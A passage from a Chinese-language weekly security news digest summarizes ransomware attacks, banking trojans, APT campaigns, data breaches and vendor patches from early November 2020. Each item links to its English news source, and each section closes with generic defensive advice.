`RagnarLocker` 样本之后窃取了1TB的文件，包括会计文件、银行报表、机密预算和收入文件、税务文件-知识产权、专有商业信息、客户和员工个人信息等敏感数据。
**详情**
[Japanese video game firm Capcom hit by a
cyberattack](https://securityaffairs.co/wordpress/110423/hacking/capcom-hit-by-cyberattack.html)
### Wroba移动银行木马程序针对美国智能手机
日期: 2020年11月02日
等级: 高
作者: Steve Zurier
标签: Kaspersky, Wroba, Banking Trojan, Mobile, Asia
卡巴斯基的威胁监测系统检测到针对美国智能手机用户的新一波Wroba木马活动。直到2020年10月29日，Wroba移动银行木马的攻击主要限于亚洲。根据卡巴斯基向媒体公布的细节，美国新浪潮于10月29日被发现，目标用户遍及美国康涅狄格州、路易斯安那州和威斯康星州。这些攻击同时涉及iOS和Android设备。这些网络攻击者试图通过通知用户包裹到达并发送短信“您的包裹已经寄出”来吸引用户。接下来，该短信把他们带到一个恶意网站，该网站显示一个警告，说用户的浏览器已过期，需要更新。一旦用户点击“确定”，恶意应用就会下载。恶意应用程序安装到用户的移动设备上后，Wroba可以发送短信、打开网页、从与金融交易相关的文件夹中获取文件、窃取联系人名单、拨打指定号码并显示虚假的钓鱼网页，以窃取受害者的凭证。
**详情**
[Wroba mobile banking trojan targets US
smartphones](https://www.scmagazine.com/home/security-news/wroba-mobile-banking-trojan-targets-us-smartphones/)
### 新的Kimsuky模块使朝鲜间谍软件更加强大
日期: 2020年11月03日
等级: 高
作者: The Hacker News
标签: US, Kimsuky, South Korean, Cybereason, BabyShark, APT
一周前，美国政府就朝鲜国家资助的黑客操作的“全球情报收集任务”发表了一份咨询意见，对这个威胁组织的间谍软件能力有了新的发现。
该APT被称为“Kimsuky”（又名BlackBanshee或Thallium），据信最早将于2012年投入使用。现在它已与多达三个迄今未记录在案的恶意软件相关联，其中包括一个信息窃取者，一种配备了恶意软件反分析功能的工具。功能，以及新的服务器基础结构，与旧的间谍框架有很大的重叠。
`Cybereason`
研究人员昨日分析称：“该组织在全球有着丰富而臭名昭著的攻击性网络行动历史，包括针对韩国智库的行动，但在过去几年里，他们将攻击目标扩大到包括美国、俄罗斯和欧洲多个国家在内的国家。
**详情**
[New Kimsuky Module Makes North Korean Spyware More
Powerful](https://thehackernews.com/2020/11/new-kimsuky-module-makes-north-korean.html)
### 玩具制造商美泰遭勒索软件攻击
日期: 2020年11月03日
等级: 高
作者: Lawrence Abrams
标签: Mattel, Toy Maker, Randomware, US SEC, Trickbot
玩具业巨头美泰（Mattel）披露，他们在7月份遭遇勒索软件攻击，影响了其部分业务功能，但并未导致数据被盗。美泰是全球第二大玩具制造商，拥有24000名员工，2019年营收57亿美元。美泰以其广受欢迎的品牌而闻名，包括芭比娃娃、热车轮、费希尔·普莱斯、美国女孩以及托马斯和朋友。美泰相信它已经控制了攻击，尽管一些业务功能暂时受到了影响，但美泰坚信能够恢复其关键业务。
**详情**
[Leading toy maker Mattel hit by
ransomware](https://www.bleepingcomputer.com/news/security/leading-toy-maker-mattel-hit-by-ransomware/)
### 虚假的COVID-19测试结果传播King Engine勒索软件
日期: 2020年11月04日
等级: 高
作者: GURUBARAN S
标签: Hentai OniChan, King Engine, COVID-19, Phishing, Quimera
在以冠状病毒为主题的网络钓鱼活动中，将下放名为 `KingEngine` 的 `HentaiOniChan`
勒索软件的新版本，并将会索取巨额赎金。一旦目标的文件被加密，就会向受影响的受害者提供赎金单，其中包括支付赎金的方式、支付的价格50BTC（524725英镑-584299欧元-676000美元）、比特币地址、时间轴和联系电子邮件地址。为确保不落入这些恐吓策略，建议不要下载或打开匿名用户的文件。
**详情**
[Fake COVID-19 Test Results Drop King Engine
Ransomware](https://gbhackers.com/king-engine-ransomware/)
### 以色列公司被新的Pay2Key勒索软件盯上
日期: 2020年11月06日
等级: 高
作者: Catalin Cimpanu
标签: Israel, Pay2Key, Ransomware
来自以色列的几家公司和大公司被入侵，他们的系统被一种新的勒索软件Pay2Key加密，这似乎是针对以色列网络的攻击。
第一次袭击发生在10月底，但现在袭击数量有所增加，同时仍被控制在以色列境内。
以色列网络安全公司CheckPoint在2020年11月6日发布的安全警报中说：“随着时间的流逝，越来越多的报道的勒索软件攻击与新的Pay2Key勒索软件有关。”
据该公司称，攻击通常发生在午夜之后，那时公司的IT员工较少。
CheckPoint团队的一些侦查人员还将勒索软件与今年早些时候注册的Pay2Key名称相同的Keybase账户联系起来，但目前还不清楚是谁开发了勒索软件，以及只针对以色列公司的原因。
**详情**
[Israeli companies targeted with new Pay2Key
ransomware](https://www.zdnet.com/article/israeli-companies-targeted-with-new-pay2key-ransomware/)
### 巴西法院系统在一次大规模勒索软件攻击后关闭
日期: 2020年11月06日
等级: 高
作者: Pierluigi Paganini
标签: Brazil, Superior Court of Justice, Ransomware, Attack, Court
2020年11月3日，巴西高级法院在审判期间遭遇勒索软件攻击，该攻击迫使法院信息技术网络暂时关闭。
该攻击于11月3日被发现，IT人员关闭了法院的网络，以防止恶意软件传播。 根据公告，该机构将恢复其系统，法庭活动预计将于11月9日恢复。
在法院网络安全恢复(可能在11月9日)之前，所有虚拟和视频会议的审判都将暂停或取消。由于受到攻击，巴西几个联邦政府机构的网站目前也处于离线状态。据当地媒体报道，巴西总统博尔索纳罗宣布，当局已查明袭击背后的攻击者。勒索软件攻击发生两天后，高等法院系统仍处于离线状态。
**详情**
[Brazil’s court system shut down after a massive ransomware
attack](https://securityaffairs.co/wordpress/110484/malware/brazils-court-system-ransomware.html)
### 僵尸网络Gitpaste-12通过GitHub和Pastebin传播
日期: 2020年11月06日
等级: 高
作者: Ax Sharma
标签: GitHub, Pastebin, Gitpaste-12, Botnet, Reverse Shell
新发现的蠕虫和僵尸网络Gitpaste-12存在于GitHub上，并使用Pastebin来托管恶意代码。
这款高级恶意软件配备了reverseshell和加密挖掘能力，并利用了超过12个已知的漏洞，因此得名。
JuniperThreatLabs于10月15日左右在GitHub上首次发现了Gitpaste-12。
然而，该恶意软件自2020年7月9日起一直存在于GitHub上，直到2020年10月27日关闭。
**详情**
[Reverse shell botnet Gitpaste-12 spreads via GitHub and
Pastebin](https://www.bleepingcomputer.com/news/security/reverse-shell-botnet-gitpaste-12-spreads-via-github-and-pastebin/)
### Firestarter恶意软件滥用谷歌Firebase云消息平台
日期: 2020年11月02日
等级: 中
作者: GURUBARAN S
标签: DoNot, FCM, Android, Firestarter, Firebase, Cloud
`Firestarter` 恶意软件是由一个名为 `DoNot`
的APT威胁组织使用的。DoNot使用Firebase云消息(FCM)，这是一个跨平台的消息和通知云解决方案，适用于Android、iOS和web应用程序，目前可以免费使用。
这项服务由谷歌的子公司Firebase提供，此前曾被网络攻击者利用过。 他们正在Google基础架构中使用合法服务，这使得跨用户网络进行检测变得更加困难。
**详情**
[Firestarter Malware Abuses Google Firebase Cloud Messaging
Platform](https://gbhackers.com/firestarter-malware-firebase/)
### GEO集团遭遇勒索软件攻击
日期: 2020年11月05日
等级: 中
作者: Catalin Cimpanu
标签: The GEO Group, USA SEC, Ransomware
`GEO`
集团是一家在美国和其他国家经营私人监狱和非法移民拘留中心的公司，2020年夏天其遭遇了勒索软件的袭击，该公司说：“GEO实施了几项遏制和补救措施，以解决这一事件，恢复其系统，并加强其网络和信息技术系统的安全。”。GEO表示，它恢复了数据，但没有说明这是否意味着从备份中恢复，还是付钱给勒索软件团伙解密其文件。在提交给美国证券交易委员会（sec）的文件中，GEO集团淡化了这起安全漏洞，并表示其后果不会对其业务、运营或财务业绩产生任何实质性影响。
**详情**
[Company that runs US illegal immigration detention centers discloses
ransomware attack](https://www.zdnet.com/article/company-that-runs-us-illegal-immigration-detention-centers-discloses-ransomware-attack/)
### QBot特洛伊木马通过恶意选举附件攻击受害者
日期: 2020年11月05日
等级: 中
作者: GURUBARAN S
标签: QBot, Trojan, U.S. election night, Phishing
QBot恶意软件，也称为Qakbot和Pinkslipbot，是一个自2008年以来活跃的银行特洛伊木马。攻击者正在使用具有更新蠕虫功能的QBot恶意软件来窃取用户的击键、部署后门，并在受损设备上传播恶意软件的有效负载。随着美国大选之夜的结束，由于选举结果的不确定性，攻击者也决定加入其中。研究人员观察得到，一个新的垃圾邮件活动利用对选举过程的怀疑来传递恶意附件。QBotbanking特洛伊木马运营商还返回了以美国选举为主题的网络钓鱼电子邮件，用恶意的选举干扰附件引诱受害者。像Covid大流行或美国大选这样的世界性事件为攻击者制定有效的计划提供了完美的素材，从而导致高感染率。
**详情**
[QBot Trojan Attacks Victims with Malicious Election
Attachments](https://gbhackers.com/qbot-trojan-attacks/)
### Sodinokibi/REvil勒索软件团伙通过网络钓鱼攻击英国房屋行业
日期: 2020年11月06日
等级: 中
作者: Gareth Corfield
标签: Sodinokibi, Flagship, Norwich, Ransomware, REvil
英国诺里奇的一家社会住房提供商表示，他们受到了Sodinokibi勒索软件的攻击，他们认为这是一次成功的钓鱼攻击。Flagship集团昨晚透露，其系统在11月1日受到网络攻击。
Flagship发布的FAQ文档[PDF]解释说，本地数据中心已被勒索软件感染，损害了一些个人员工和客户数据。据称，这起攻击已经停止，网络安全公司以及警方和国家网络安全中心都在共同关注这一漏洞。
**详情**
[Sodinokibi/REvil ransomware gang pwns British housing biz via suspected
phishing
attack](https://www.theregister.com/2020/11/06/revil_sodinokibi_ransomware_gang_flagship_group_housing/)
### **相关安全建议**
1. 不轻信网络消息，不浏览不良网站、不随意打开邮件附件，不随意运行可执行程序
2. 不盲目信任云端文件及链接
3. 移动端不安装未知应用程序、不下载未知文件
4. 不盲目安装官方代码仓库的第三方Package
5. 网段之间进行隔离，避免造成大规模感染
6. 各主机安装EDR产品，及时检测威胁
7. 做好文件（尤其是新修改的文件）检测
## 0x03 数据安全
### 万豪因客户数据泄露被英国监管机构罚款1840万英镑
日期: 2020年11月02日
等级: 高
作者: Charlie Osborne
标签: ICO, Marriott, Starwood, Data Breach, Fined
信息专员办公室(ICO)已经就2014年的数据泄露对万豪开出了1840万美元的罚单，大大降低了原本计划的因COVID-19干扰而开出的罚单。
万豪酒店集团(Marriothotelgroup)曾在2014年遭遇数据泄露事件，影响到万豪于2015年收购的喜达屋(Starwood)度假连锁酒店。
当时，攻击者能够渗透进喜达屋的系统，并通过一个webshell执行恶意软件，包括远程访问工具和凭证收集软件。
攻击者随后进入了用于存储客人预订数据的数据库，这些数据包括姓名、电子邮件地址、电话号码、护照号码、旅行细节和忠诚计划信息。
这一事件一直持续到2018年，在四年的时间里，大约3.39亿宾客的信息被盗。总共有700万条与英国客人有关的记录被曝光。
**详情**
[Marriott fined £18.4 million by UK watchdog over customer data
breach](https://www.zdnet.com/article/marriott-fined-gbp18-4-million-by-uk-watchdog-over-customer-data-breach/)
### 暗网上有2000万bigbarket用户记录
日期: 2020年11月07日
等级: 高
作者: Pierluigi Paganini
标签: Bigbasket, India, COVID-19, Dark Web
据网络情报公司Cyble称，杂货电子商务网站Bigbasket据称遭遇了数据泄露，暗网上有超过2000万人的详细信息。档案有15gb大小，包含2000万用户记录，它以超过40000美元的价格出售。
BigBasket由阿里巴巴集团，MiraeAsset-Naver亚洲成长基金和CDC集团共同创立，其上市产品有1000多个品牌的18000多种产品。
在新冠肺炎疫情继续在全球蔓延的同时，网络购物对用户来说变得越来越重要，此类事件使数百万用户面临黑客攻击的风险。
**详情**
[20 million Bigbasket user records available on the dark
web](https://securityaffairs.co/wordpress/110543/data-breach/bigbasket-details-dark-web.html)
### 废弃的“数据泄露索引”网站泄露23600个被入侵的数据库
日期: 2020年11月04日
等级: 高
作者: Catalin Cimpanu
标签: Telegram, Cit0Day, Hacking Forums, Data Breach Index
在多个黑客论坛和Telegram频道上，已有23000多个被黑客攻击的数据库能被下载。据说数据库集合源自 `Cit0Day`
，这是一家在黑客论坛上向其他网络罪犯发布广告的私人服务机构。Cit0day的运作方式是收集被黑客入侵的数据库，然后向其他黑客提供用户名、电子邮件、地址甚至明文密码的访问权限，每天或每月收取费用。然后，网络犯罪分子会利用该网站为目标用户识别可能的密码，然后试图在其他知名度更高的网站上盗用他们的账户。
**详情**
[23,600 hacked databases have leaked from a defunct ‘data breach index’
site](https://www.zdnet.com/article/23600-hacked-databases-have-leaked-from-a-defunct-data-breach-index-site/)
### Luxottica数据泄露暴露了Lenscrafter和EyeMed的信息
日期: 2020年11月08日
等级: 中
作者: Pierluigi Paganini
标签: Luxottica, LensCrafters, EyeMed, Ransomware
Luxottica公司在9月18日遭遇勒索软件攻击。Luxottica遭受的数据泄露暴露了LensCrafters，TargetOptical和EyeMed患者的个人和健康信息。
LuxotticaGroupS.p.A.是一家意大利眼镜企业集团，也是眼镜行业中全球最大的公司。作为一家垂直整合公司，Luxottica设计，制造，分销和零售其眼镜品牌。
这家意大利公司拥有超过8万名员工，2019年创造了94亿欧元的收入。
“我们建议所有可能受影响的个人采取措施保护自己，例如，密切关注健康保险公司和医疗保健提供商的通知，以防意外活动。”该公司在事故发生后设立的网站上发表了一份声明。“如果您的支付卡信息和/或社会保险号码与此事件有关，请在您的信中明确说明。”10月27日，该公司开始通知受影响的用户。
**详情**
[Luxottica data breach exposes info of LensCrafters and EyeMed
patients](https://securityaffairs.co/wordpress/110565/data-breach/luxottica-lenscrafters-eyemed-data-breach.html)
### **相关安全建议**
1. 发生数据泄漏事件后，及时进行密码更改等相关安全措施
2. 条件允许的情况下，设置主机访问白名单
3. 及时备份数据并确保数据安全
4. 合理设置服务器端各种文件的访问权限
5. 严格控制数据访问权限
## 0x04 网络攻击
### 诈骗者滥用Google云端硬盘发送恶意链接
日期: 2020年11月02日
等级: 高
作者: Lindsey O'Donnell
标签: Google Drive, Malicious Links, Cloud, Ransomware
诈骗者利用合法的Google云端硬盘协作功能来诱骗用户点击恶意链接。
据报道，最近的攻击源于Google云端硬盘的合法协作功能，该功能允许用户创建推送通知或电子邮件，邀请人们共享Google文档。
攻击者滥用此功能向移动用户发送Google云端硬盘通知，邀请他们在文档上进行协作，然后文档中包含恶意链接。
由于这些通知是通过Google云端硬盘发送的，因此这些通知来自Google的不答复电子邮件地址，它们看起来更加合法。攻击的其他迭代是通过电子邮件发送的（而不是通过通知发送的），并将恶意链接直接包含在电子邮件中。
**详情**
[Scammers Abuse Google Drive to Send Malicious
Links](https://threatpost.com/scammers-google-drive-malicious-links/160832/)
### 黑客窃取了在线黄金交易商JM的信用卡数据
日期: 2020年11月02日
等级: 高
作者: Pierluigi Paganini
标签: JM Bullion, Credit Card, Malicious Code
美国领先的在线黄金交易商 `JMBullion` 披露了数据泄露事件，黑客窃取了客户的信用卡信息。
JMBullion已向其客户发出数据安全事故通知，安全漏洞发生在2020年2月18日，当时其员工在其网站上发现了恶意脚本。
2020年7月6日，JMBullion在其网站上收到了可疑活动的警告。在第三方司法鉴定部门的专家的协助下，JMBullion立即开始调查，以评估事件的性质和范围。JMBullion的通知称，经过调查，该网站在2020年2月18日至7月17日期间存在恶意代码，能够捕获在购买时在有限场景下进入网站的客户信息。
**详情**
[Hackers stole credit card data from JM Bullion online bullion
dealer](https://securityaffairs.co/wordpress/110290/cyber-crime/jm-bullion-hacked.html)
### 勒索软件的打击将清空Isentia数百万美元
日期: 2020年11月03日
等级: 高
作者: Tara Seals
标签: Isentia, Media Communications , Ransomware, Malware
媒体通信巨头Isentia报道称，在最近的勒索软件攻击事件后，其金库将被清空多达600万美元（850万澳元）。
该公司是一家媒体情报和数据分析公司，总部设在澳大利亚，业务遍及东南亚。它以其Mediaportal平台而闻名，该平台汇集了客户品牌的新闻，并被全球公关和营销团队使用。根据其网站，客户包括各种主要客户，包括澳大利亚政府、新加坡电信、三星和迪斯尼公司。Isentia表示，由于系统被攻击而导致的修复成本和业务损失将对其2021财年的利润产生重大影响，预计总额将达到700万至850万澳元。
**详情**
[Media Comms Giant Says Ransomware Hit Will Cost
Millions](https://threatpost.com/media-comms-giant-ransomware-cost-millions/160904/)
### 黑客利用未修补的VoIP漏洞来危害商业账户
日期: 2020年11月05日
等级: 高
作者: Danny Palmer
标签: VoIP, CVE-2019-19006, vulnerability
在过去的一年中，一场黑客运动在全球范围内破坏了超过1,000家公司中的VoIP（互联网协议语音）电话系统，这场黑客运动旨在通过出售受侵害的帐户来获利。虽然主要目的似乎是拨打攻击者拥有的付费电话号码，或出售他人可以免费使用的电话号码和通话计划，但访问VoIP系统可以使网络犯罪分子能够进行其他攻击，包括监听私人电话，加密挖矿，甚至使用受损的系统来作为攻击的跳板。据CheckPoint的网络安全研究人员详细介绍，一个黑客组织利用这个漏洞，危害了20多个国家近1200个组织的VoIP网络，其中一半以上的受害者在英国。政府、军事、保险、金融和制造业等行业据信已成为这场运动的受害者。
**详情**
[Hackers are exploiting unpatched VoIP flaws to compromise business
accounts](https://www.zdnet.com/article/hackers-are-exploiting-unpatched-voip-flaws-to-compromise-business-accounts/)
### 美国联邦调查局：黑客窃取了美国政府机构和私人公司的源代码
日期: 2020年11月07日
等级: 高
作者: Catalin Cimpanu
标签: SonarQube, US, Source Code
美国联邦调查局（FederalBureauofInvestigation）发出安全警报警告，攻击者正在滥用配置错误的SonarQube应用程序，从美国政府机构和私人企业访问和窃取源代码存储库。
美国联邦调查局(FBI)在2020年10月发出并于2020年11月2日在其网站上公布的一份警告中表示，至少从2020年4月开始就发生了入侵事件。
SonarQube应用程序安装在web服务器上，并连接到源代码托管系统，如BitBucket、GitHub或GitLab帐户或AzureDevOps系统。但是联邦调查局说，一些公司没有保护这些系统，在他们的默认配置（端口9000）上运行，并带有默认的管理员凭据（admin/admin）。
**详情**
[FBI: Hackers stole source code from US government agencies and private
companies](https://www.zdnet.com/article/fbi-hackers-stole-source-code-from-us-government-agencies-and-private-companies/)
### UNC1945在攻击中使用Oracle Solaris 0day漏洞
日期: 2020年11月04日
等级: 中
作者: Pierluigi Paganini
标签: UNC1945, Oracle, Solaris, CVE-2020-14871
一个被追踪为 `UNC1945`
的攻击团体已经针对OracleSolaris操作系统进行了长达两年的攻击。攻击者还利用最近解决的OracleSolaris零日漏洞（CVE-2020-14871）对电信公司进行了攻击，并利用第三方网络针对特定的金融和专业咨询行业。FireEye发表的报告中写道：“UNC1945针对的是OracleSolaris操作系统，针对Windows和Linux操作系统使用了多种工具和实用程序，加载和操作了自定义虚拟机，并采用了一些技术来逃避检测。”
**详情**
[UNC1945, a sophisticated threat actor used Oracle Solaris Zero-Day
exploit](https://securityaffairs.co/wordpress/110370/apt/unc1945-oracle-solaris-zero-day.html)
### Office 365网络钓鱼会反转图像以逃避检测
日期: 2020年11月04日
等级: 中
作者: Sergiu Gatlan
标签: Office 365, Phishing, Evade Detection, Inverts Images
一个前所未有的office365网络钓鱼活动已经反转了作为登录页面背景的图像，以避免被标记为恶意。WMCGlobal解释说：“由于图像识别软件正在改进，并且越来越精确，这项新技术旨在通过反转图像的颜色来欺骗扫描引擎，从而导致图像哈希值与原始值不同。”这种技术可能会妨碍软件对该图像进行标记的能力。值得一提的是，据WMCGlobal的分析师称，这种图像反转策略是在一个积极使用的office365凭证仿冒工具中观察到的。
**详情**
[Sneaky Office 365 phishing inverts images to evade
detection](https://www.bleepingcomputer.com/news/security/sneaky-office-365-phishing-inverts-images-to-evade-detection/)
### 美国攻破了一批伪装成新闻机构的伊斯兰革命卫队宣传网站
日期: 2020年11月05日
等级: 中
作者: Campbell Kwan
标签: USA, Iran, IRGC, Seize
美国宣布，已查获伊朗伊斯兰革命卫队（IRGC）27个域名，这些域名被伊朗伊斯兰革命卫队（IRGC）用来传播全球秘密影响力活动。根据司法部（DoJ）的数据，在27个域名中，有四个域名
`rpfront.com` ， `ahtribune.com` ， `awdnews.com` 和 `criticalstudies.org`
被查封，因为它们违反了《外国代理人注册法》。与此同时，其余23个域名被查封，因为它们的目标受众是世界其他地区的用户。这些域名是由美国司法部通过与谷歌、Facebook、Twitter和联邦调查局（FBI）的持续合作确定的。
**详情**
[US seizes another crop of Iranian propaganda domains masked as news
outlets](https://www.zdnet.com/article/us-seizes-another-crop-of-iranian-propaganda-domains-masked-as-news-outlets/)
### 攻击者主动利用Rackspace托管电子邮件漏洞
日期: 2020年11月05日
等级: 中
作者: Mathew J. Schwartz
标签: Rackspace, SMTP, SPF , DNS
作为商业电子邮件泄露诈骗的一部分，攻击者一直在积极利用Rackspace托管电子邮件服务中的一个漏洞，发送带有合法和有效域名的钓鱼电子邮件。所有使用Rackspace托管电子邮件服务的组织似乎都很容易被这种方式滥用其电子邮件域。该漏洞是Rackspace的SMTP服务器-emailsrvr.com-授权用户与客户特别授权这些SMTP服务器代表其通过DNS条目发送电子邮件的结果。
**详情**
[Rackspace Hosted Email Flaw Actively Exploited by
Attackers](https://www.databreachtoday.com/rackspace-hosted-email-flaw-actively-exploited-by-attackers-a-15309)
### 有攻击者利用RMS和TeamViewer攻击工业企业
日期: 2020年11月05日
等级: 中
作者: Kaspersky Lab ICS CERT
标签: RMS, TeamViewer, C&C, Phishing, Industrial Enterprises
从2018年到2020年初秋，有攻击者发送带有恶意软件的钓鱼电子邮件，来攻击利用社会工程技术和合法文件，攻击对象是那些仍然使用远程管理工具的公司。在新版恶意软件中，攻击者更改了感染新系统后使用的通知通道：他们使用RMS远程管理实用程序云基础设施的web界面，而不是恶意软件命令和控制服务器。在持续的攻击过程中，网络罪犯使用间谍软件和Mimikatz实用程序窃取身份验证凭证，这些凭证随后被用来感染企业网络上的其他系统。
**详情**
[Attacks on industrial enterprises using RMS and TeamViewer: new
data](https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer-new-data/99206/)
### 意大利著名公司坎帕里集团受到攻击
日期: 2020年11月06日
等级: 中
作者: Pierluigi Paganini
标签: Campari Group, Italian, RagnarLocker, Campary, Ransomware
意大利饮料巨头金巴利集团(CampariGroup)遭遇勒索软件攻击，迫使该公司关闭了很大一部分IT网络。
这家意大利公司自1860年开始蓬勃发展，生产烈酒，葡萄酒和汽水。
这次攻击发生在2020年11月1日，Campary的系统被RagnarLocker勒索软件感染。
CampariGroup告知，大概是在2020年11月1日，它已成为恶意软件攻击（计算机病毒）的目标，并迅速予以识别。集团的IT部门在IT安全专家的支持下，立即采取行动，限制了恶意软件在数据和系统中的传播。因此，该公司已实施IT服务的临时暂停，因为某些系统已被隔离开来，以便在安全条件下进行卫生和逐步重启，以及时恢复正常运行。
**详情**
[Prominent Italian firms under attack, Campari is the last
one](https://securityaffairs.co/wordpress/110470/cyber-crime/campari-cyber-attack.html)
### **相关安全建议**
1. 注重内部员工安全培训
2. 不轻信网络消息，不浏览不良网站、不随意打开邮件附件，不随意运行可执行程序
3. 不盲目信任云端文件及链接
4. 在网络边界部署安全设备，如防火墙、IDS、邮件网关等
5. 积极开展外网渗透测试工作，提前发现系统问题
6. 建议加大口令强度，对内部计算机、网络服务、个人账号都使用强口令
7. 减少外网资源和不相关的业务，降低被攻击的风险
## 0x05 其它事件
### Oracle发布远程代码执行漏洞的紧急补丁
日期: 2020年11月03日
等级: 高
作者: GURUBARAN S
标签: Oracle, CVE-2020-14750, WebLogic, Critical Patch Update, Vulnerability
IT巨头 `Oracle` 在2020年11月1日发布了一个安全警告， `CVE-2020-14750` ，针对`OracleWebLogic`
服务器上的一个远程代码执行漏洞。 `OracleWebLogicServer` 是一个`JavaEE`
应用服务器。最新版本是WebLogicServer14c(14.1.1)，发布于2020年3月30日。
安全警报针对CVE-2020-14882漏洞提出建议，该漏洞于2020年10月解决，补丁更新，无需任何认证即可远程利用。Oracle强烈建议用户尽早应用这些更新。
目前 `Oracle Weblogic` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[Oracle Issues Emergency Patch for Remote Code Execution
Vulnerability](https://gbhackers.com/oracle-emergency-patch/)
### 未修补的Windows 0day漏洞在野被用于沙盒逃逸
日期: 2020年11月02日
等级: 高
作者: Tara Seals
标签: Google, Windows, Sandbox Escape, Local Privilege Escalation, CVE-2020-17087
一个严重的Windows驱动程序漏洞正在被肆无忌惮地利用。它允许本地权限提升和沙盒逃逸。
据研究人员称，由于网络攻击者已经在利用这一安全漏洞，谷歌项目在报告7天后就披露了这一安全漏洞。
该漏洞（CVE-2020-17087）与Windows内核密码驱动程序（cng.sys）处理输入/输出控制（IOCTL）的方式有关，这是特定于设备的输入/输出操作和其他操作的系统调用其他不能由常规系统调用表示的操作。通过巧尽心思构建的请求，攻击者可以触发基于池的缓冲区溢出，从而导致系统崩溃。
**详情**
[Unpatched Windows Zero-Day Exploited in the Wild for Sandbox
Escape](https://threatpost.com/unpatched-windows-zero-day-exploited-sandbox-escape/160828/)
### Google修复了Chrome中的第二个0day漏洞
日期: 2020年11月03日
等级: 高
作者: Pierluigi Paganini
标签: Google, Chrome, Windows, Linux, RCE, Mac, Vulnerability
谷歌发布了针对Windows、Mac和Linux的Chrome86.0.4240.183，解决了10个安全漏洞，包括远程代码执行(RCE)0day漏洞(CVE-2020-16009)，这些漏洞被网络上的攻击者利用。
V8是谷歌的开源和基于C++的高性能WebSimuleScript和JavaScript引擎。 这个0day漏洞是由谷歌 `ProjectZero`
的谷歌白帽黑客 `SamuelGro` 黑客和谷歌威胁分析小组的`ClementLecigne`
于2020年10月29日发现的。ChromeZeroday是一个沙盒逃逸问题，它允许攻击者逃离Chrome的安全容器并在底层操作系统上运行代码。
**详情**
[Google fixes the second zero-day in Chrome in 2 weeks actively
exploited](https://securityaffairs.co/wordpress/110338/hacking/chrome-zero-day-2.html)
### Adobe警告Windows、MacOS用户Acrobat和Reader存在严重漏洞
日期: 2020年11月03日
等级: 高
作者: Lindsey O'Donnell
标签: Adobe, Windows, macOS, Acrobat, Reader, Vulnerability, Patches
Adobe已经修复了其Acrobat和Reader系列应用软件服务的Windows和macOS版本中与四个CVE相关的严重漏洞。
攻击者可以利用这些漏洞在受影响的产品上执行任意代码。这些严重漏洞包括基于堆的缓冲区溢出（CVE-2020-24435）、越界写入故障（CVE-2020-24436）和两个释放后使用漏洞（CVE-2020-24430和CVE-2020-24437）。
这些漏洞是Adobe定期计划的补丁的一部分，这些补丁总体上修补了与14个CVE相关的关键、重要和中等严重性漏洞。
**详情**
[Adobe Warns Windows, MacOS Users of Critical Acrobat and Reader
Flaws](https://threatpost.com/adobe-windows-macos-critical-acrobat-reader-flaws/160903/)
### Maze勒索软件宣布关闭业务
日期: 2020年11月02日
等级: 中
作者: Lawrence Abrams
标签: Maze, BleepingComputer, Shuts Down, Cartel, Ransomware
勒索软件团伙Maze于2020年11月2日宣布，他们已经正式关闭勒索软件业务，不再在他们的网站上泄露新公司的数据。
BleepingComputer报告称，勒索软件团队Maze从9月中旬开始停止加密新的受害者，清理他们的数据泄露网站，并敲诈最终受害者。2020年11月2日，勒索软件团队Maze发布了一份题为“项目已关闭”的新闻稿，声明他们已关闭，任何其他使用其名称的勒索软件操作都是骗局。
**详情**
[Maze ransomware shuts down operations, denies creating
cartel](https://www.bleepingcomputer.com/news/security/maze-ransomware-shuts-down-operations-denies-creating-cartel/)
### 新的防火墙绕过攻击允许黑客访问任何TCP/UDP服务
日期: 2020年11月02日
等级: 中
作者: The Hacker News
标签: NAT Slipstreaming, TCP/UDP, Bypass, Firewall
一项新的研究显示了一种技术，允许攻击者绕过防火墙保护，远程访问受攻击机器上的任何TCP/UDP服务。 这种方法被称为 `NATSlipstreaming`
，它包括向目标发送一个到恶意站点(或装载恶意广告的合法站点)的链接，当访问该站点时，最终触发网关打开受害者的任何TCP/UDP端口，从而绕过基于浏览器的端口限制。
安全研究员SamyKamkar在2020年11月1日揭露了这一发现。
**详情**
[New NAT/Firewall Bypass Attack Lets Hackers Access Any TCP/UDP
Service](https://thehackernews.com/2020/11/new-natfirewall-bypass-attack-lets.html)
### 俄罗斯程序员因网络犯罪在美国被判8年监禁
日期: 2020年11月02日
等级: 中
作者: Kieren McCarthy
标签: Russian, America, Aleksandr Brovko, Jailed, BotNet
一名俄罗斯程序员在美国被判8年监禁，原因是他参与了大规模网络犯罪，侵入并窃取了受害者的银行账户。
现年36岁的亚历山大·布罗夫科（AleksandrBrovko）于2019年在捷克共和国被捕，并因对俄罗斯黑客圈的漫长调查而被引渡到美国。
2020年2月，他在美国认罪，共谋实施电信欺诈和银行欺诈，作为Brovko与当局达成的认罪协议的一部分，第二项共谋实施接入设备欺诈的指控被撤销。
**详情**
[Russian jailed for eight years in the US for writing code that sifted botnet
logs for web banking creds for
fraudsters](https://www.theregister.com/2020/11/02/botnet_brovko_jailed/)
### 恶意npm库因后门功能被删除
日期: 2020年11月03日
等级: 中
作者: Pierluigi Paganini
标签: JavaScript, npm, twilio-npm, Repository
npm安全团队已经从其存储库中删除了一个名为“twilionpm”的恶意JavaScript库，因为其中包含恶意代码。npm安全团队已经从其存储库中删除了一个名为“twilionpm”的恶意JavaScript库，因为它包含在程序员计算机上建立后门的代码。Npm是任何编程语言中最大的包存储库。安全公司Sonatype的研究员axsharma发现了这个被污染的JavaScript库。这个假的Twilio库最近被上传到npm存储库中，被下载了370多次，并通过npm（NodePackageManager）命令行实用程序自动导入JavaScript项目。
**详情**
[Malicious npm library removed from the repository due to backdoor
capabilities](https://securityaffairs.co/wordpress/110348/malware/npm-library-backdoor.html)
### Win10功能升级后证书丢失?微软表示:我们正在努力修复
日期: 2020年11月03日
等级: 中
作者: Liam Tung
标签: Microsoft, Windows 10, Bug, Certificates, Upgrade
有报道称，当电脑用户升级到新版本的操作系统时，Windows10会丢失系统和用户证书，微软对此予以证实。
一周前，有用户报告称，升级到更高版本的windows10时发生了被遗忘的证书故障，Borncity当时报告说。用户报告升级到多个版本的Windows10时证书丢失。微软现在已经确认，从Windows10版本1809升级到更高版本时，系统和用户证书可能会丢失。不过，该公司指出，在升级时，丢失证书的问题有几个先决条件。
